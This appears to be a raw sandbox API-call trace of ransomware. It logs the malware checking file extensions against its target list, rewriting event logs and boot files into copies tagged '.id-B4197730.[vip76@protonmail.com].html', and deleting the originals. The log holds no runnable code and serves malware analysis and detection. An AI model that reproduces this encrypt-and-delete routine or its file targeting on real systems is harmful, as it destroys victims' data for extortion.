	[0070.521] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0070.521] lstrlenW (lpString=".xls") returned 4
	[0070.521] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0070.521] lstrlenW (lpString=".xlsx") returned 5
	[0070.521] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0070.521] lstrlenW (lpString=".ppt") returned 4
	[0070.521] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0070.521] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0070.521] lstrlenW (lpString=".zip") returned 4
	[0070.521] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0070.521] lstrlenW (lpString=".rar") returned 4
	[0070.521] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0070.521] lstrlenW (lpString=".bz2") returned 4
	[0070.521] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0070.521] lstrlenW (lpString=".7z") returned 3
	[0070.521] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0070.521] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0070.521] lstrlenW (lpString=".dbf") returned 4
	[0070.522] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0070.522] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0070.522] lstrlenW (lpString=".1cd") returned 4
	[0070.522] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0070.522] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0070.522] lstrlenW (lpString=".jpg") returned 4
	[0070.522] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0070.522] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0070.522] lstrlenW (lpString="bootspaces.dll") returned 14
	[0070.522] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0070.523] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=95648) returned 1
	[0070.523] CloseHandle (hObject=0x33c) returned 1
	[0070.523] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20
	[0070.523] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.524] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0070.524] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0070.524] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0070.524] lstrlenW (lpString=".doc") returned 4
	[0070.524] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0070.524] lstrlenW (lpString=".docx") returned 5
	[0070.524] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0070.524] lstrlenW (lpString=".pdf") returned 4
	[0070.524] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0070.524] lstrlenW (lpString=".xls") returned 4
	[0070.524] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0070.524] lstrlenW (lpString=".xlsx") returned 5
	[0070.524] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0070.524] lstrlenW (lpString=".ppt") returned 4
	[0070.524] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0070.524] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0070.524] lstrlenW (lpString=".zip") returned 4
	[0070.524] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0070.524] lstrlenW (lpString=".rar") returned 4
	[0070.524] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0070.524] lstrlenW (lpString=".bz2") returned 4
	[0070.524] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0070.524] lstrlenW (lpString=".7z") returned 3
	[0070.524] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0070.524] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0070.525] lstrlenW (lpString=".dbf") returned 4
	[0070.525] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0070.525] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0070.525] lstrlenW (lpString=".1cd") returned 4
	[0070.525] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0070.525] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0070.525] lstrlenW (lpString=".jpg") returned 4
	[0070.525] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0070.525] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0070.525] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0070.525] lstrlenW (lpString=".doc") returned 4
	[0070.525] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0070.525] lstrlenW (lpString=".docx") returned 5
	[0070.525] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0070.525] lstrlenW (lpString=".pdf") returned 4
	[0070.525] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0070.525] lstrlenW (lpString=".xls") returned 4
	[0070.525] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0070.525] lstrlenW (lpString=".xlsx") returned 5
	[0070.525] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0070.525] lstrlenW (lpString=".ppt") returned 4
	[0070.525] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0070.525] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0070.525] lstrlenW (lpString=".zip") returned 4
	[0070.525] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0070.526] lstrlenW (lpString=".rar") returned 4
	[0070.526] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0070.526] lstrlenW (lpString=".bz2") returned 4
	[0070.526] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0070.526] lstrlenW (lpString=".7z") returned 3
	[0070.526] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0070.526] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0070.526] lstrlenW (lpString=".dbf") returned 4
	[0070.526] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0070.526] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0070.526] lstrlenW (lpString=".1cd") returned 4
	[0070.526] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0070.526] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0070.526] lstrlenW (lpString=".jpg") returned 4
	[0070.526] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0070.526] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0070.526] lstrlenW (lpString="bootvhd.dll") returned 11
	[0070.526] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0070.527] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=99744) returned 1
	[0070.527] CloseHandle (hObject=0x33c) returned 1
	[0070.527] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20
	[0070.527] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.527] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0070.527] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0070.527] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0070.527] lstrlenW (lpString=".doc") returned 4
	[0070.527] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0070.527] lstrlenW (lpString=".docx") returned 5
	[0070.527] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0070.527] lstrlenW (lpString=".pdf") returned 4
	[0070.527] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0070.527] lstrlenW (lpString=".xls") returned 4
	[0070.527] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0070.527] lstrlenW (lpString=".xlsx") returned 5
	[0070.527] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0070.528] lstrlenW (lpString=".ppt") returned 4
	[0070.528] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0070.528] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0070.528] lstrlenW (lpString=".zip") returned 4
	[0070.528] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0070.528] lstrlenW (lpString=".rar") returned 4
	[0070.528] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0070.528] lstrlenW (lpString=".bz2") returned 4
	[0070.528] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0070.528] lstrlenW (lpString=".7z") returned 3
	[0070.528] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0070.528] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0070.528] lstrlenW (lpString=".dbf") returned 4
	[0070.528] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0070.535] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0070.537] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0070.540] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0071.372] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0071.403] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0
	[0071.403] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.407] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.407] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.407] CreateFileW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\application.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0071.408] GetLastError () returned 0x0
	[0071.408] ReadFile (in: hFile=0x320, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0071.421] WriteFile (in: hFile=0x350, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0071.423] ReadFile (in: hFile=0x320, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.423] WriteFile (in: hFile=0x350, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0071.423] SetEndOfFile (hFile=0x350) returned 1
	[0071.423] CloseHandle (hObject=0x350) returned 1
	[0071.426] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.426] SetEndOfFile (hFile=0x320) returned 1
	[0071.427] CloseHandle (hObject=0x320) returned 1
	[0071.428] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0071.428] DeleteFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 1
	[0071.429] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0071.429] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0071.429] lstrlenW (lpString=".doc") returned 4
	[0071.429] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0071.429] lstrlenW (lpString=".docx") returned 5
	[0071.429] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0071.429] lstrlenW (lpString=".pdf") returned 4
	[0071.429] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0071.429] lstrlenW (lpString=".xls") returned 4
	[0071.429] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0071.429] lstrlenW (lpString=".xlsx") returned 5
	[0071.429] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0071.429] lstrlenW (lpString=".ppt") returned 4
	[0071.429] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0071.429] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0071.429] lstrlenW (lpString=".zip") returned 4
	[0071.429] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0071.429] lstrlenW (lpString=".rar") returned 4
	[0071.429] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0071.429] lstrlenW (lpString=".bz2") returned 4
	[0071.429] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0071.429] lstrlenW (lpString=".7z") returned 3
	[0071.429] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0071.429] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0071.429] lstrlenW (lpString=".dbf") returned 4
	[0071.429] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0071.430] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0071.430] lstrlenW (lpString=".1cd") returned 4
	[0071.430] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0071.430] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0071.430] lstrlenW (lpString=".jpg") returned 4
	[0071.430] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0071.430] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0071.430] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0071.430] lstrlenW (lpString=".doc") returned 4
	[0071.430] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0071.430] lstrlenW (lpString=".docx") returned 5
	[0071.430] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0071.430] lstrlenW (lpString=".pdf") returned 4
	[0071.430] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0071.430] lstrlenW (lpString=".xls") returned 4
	[0071.430] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0071.430] lstrlenW (lpString=".xlsx") returned 5
	[0071.430] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0071.430] lstrlenW (lpString=".ppt") returned 4
	[0071.430] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0071.430] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0071.430] lstrlenW (lpString=".zip") returned 4
	[0071.430] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0071.430] lstrlenW (lpString=".rar") returned 4
	[0071.430] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0071.430] lstrlenW (lpString=".bz2") returned 4
	[0071.431] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0071.431] lstrlenW (lpString=".7z") returned 3
	[0071.431] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0071.431] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0071.431] lstrlenW (lpString=".dbf") returned 4
	[0071.431] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0071.431] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0071.431] lstrlenW (lpString=".1cd") returned 4
	[0071.431] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0071.431] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0071.431] lstrlenW (lpString=".jpg") returned 4
	[0071.431] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0071.431] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0071.431] lstrlenW (lpString="Internet Explorer.evtx") returned 22
	[0071.431] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0071.433] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0071.433] CloseHandle (hObject=0x350) returned 1
	[0071.433] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20
	[0071.433] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.434] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0071.435] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.435] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.435] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0071.435] GetLastError () returned 0x0
	[0071.435] ReadFile (in: hFile=0x358, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0071.449] WriteFile (in: hFile=0x380, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0071.452] ReadFile (in: hFile=0x358, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.452] WriteFile (in: hFile=0x380, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x100, lpOverlapped=0x0) returned 1
	[0071.452] SetEndOfFile (hFile=0x380) returned 1
	[0071.452] CloseHandle (hObject=0x380) returned 1
	[0071.457] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.458] SetEndOfFile (hFile=0x358) returned 1
	[0071.459] CloseHandle (hObject=0x358) returned 1
	[0071.459] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0071.460] DeleteFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 1
	[0071.460] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0071.460] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0071.460] lstrlenW (lpString=".doc") returned 4
	[0071.460] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0071.460] lstrlenW (lpString=".docx") returned 5
	[0071.460] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0071.460] lstrlenW (lpString=".pdf") returned 4
	[0071.460] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0071.460] lstrlenW (lpString=".xls") returned 4
	[0071.460] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0071.460] lstrlenW (lpString=".xlsx") returned 5
	[0071.460] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0071.460] lstrlenW (lpString=".ppt") returned 4
	[0071.460] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0071.460] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0071.460] lstrlenW (lpString=".zip") returned 4
	[0071.460] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0071.461] lstrlenW (lpString=".rar") returned 4
	[0071.461] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0071.461] lstrlenW (lpString=".bz2") returned 4
	[0071.461] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0071.461] lstrlenW (lpString=".7z") returned 3
	[0071.461] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0071.461] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0071.461] lstrlenW (lpString=".dbf") returned 4
	[0071.461] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0071.461] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0071.461] lstrlenW (lpString=".1cd") returned 4
	[0071.461] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0071.461] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0071.461] lstrlenW (lpString=".jpg") returned 4
	[0071.461] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0071.461] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0071.461] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0071.461] lstrlenW (lpString=".doc") returned 4
	[0071.461] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0071.461] lstrlenW (lpString=".docx") returned 5
	[0071.461] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0071.461] lstrlenW (lpString=".pdf") returned 4
	[0071.461] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0071.461] lstrlenW (lpString=".xls") returned 4
	[0071.461] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0071.461] lstrlenW (lpString=".xlsx") returned 5
	[0071.462] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0071.462] lstrlenW (lpString=".ppt") returned 4
	[0071.462] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0071.462] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0071.462] lstrlenW (lpString=".zip") returned 4
	[0071.462] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0071.462] lstrlenW (lpString=".rar") returned 4
	[0071.462] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0071.462] lstrlenW (lpString=".bz2") returned 4
	[0071.462] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0071.462] lstrlenW (lpString=".7z") returned 3
	[0071.462] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0071.462] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0071.462] lstrlenW (lpString=".dbf") returned 4
	[0071.462] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0071.462] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0071.462] lstrlenW (lpString=".1cd") returned 4
	[0071.805] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0071.805] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0071.805] lstrlenW (lpString=".jpg") returned 4
	[0071.805] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0071.805] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0071.805] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 57
	[0071.805] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0071.951] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0071.951] CloseHandle (hObject=0x2f8) returned 1
	[0071.951] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20
	[0071.951] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
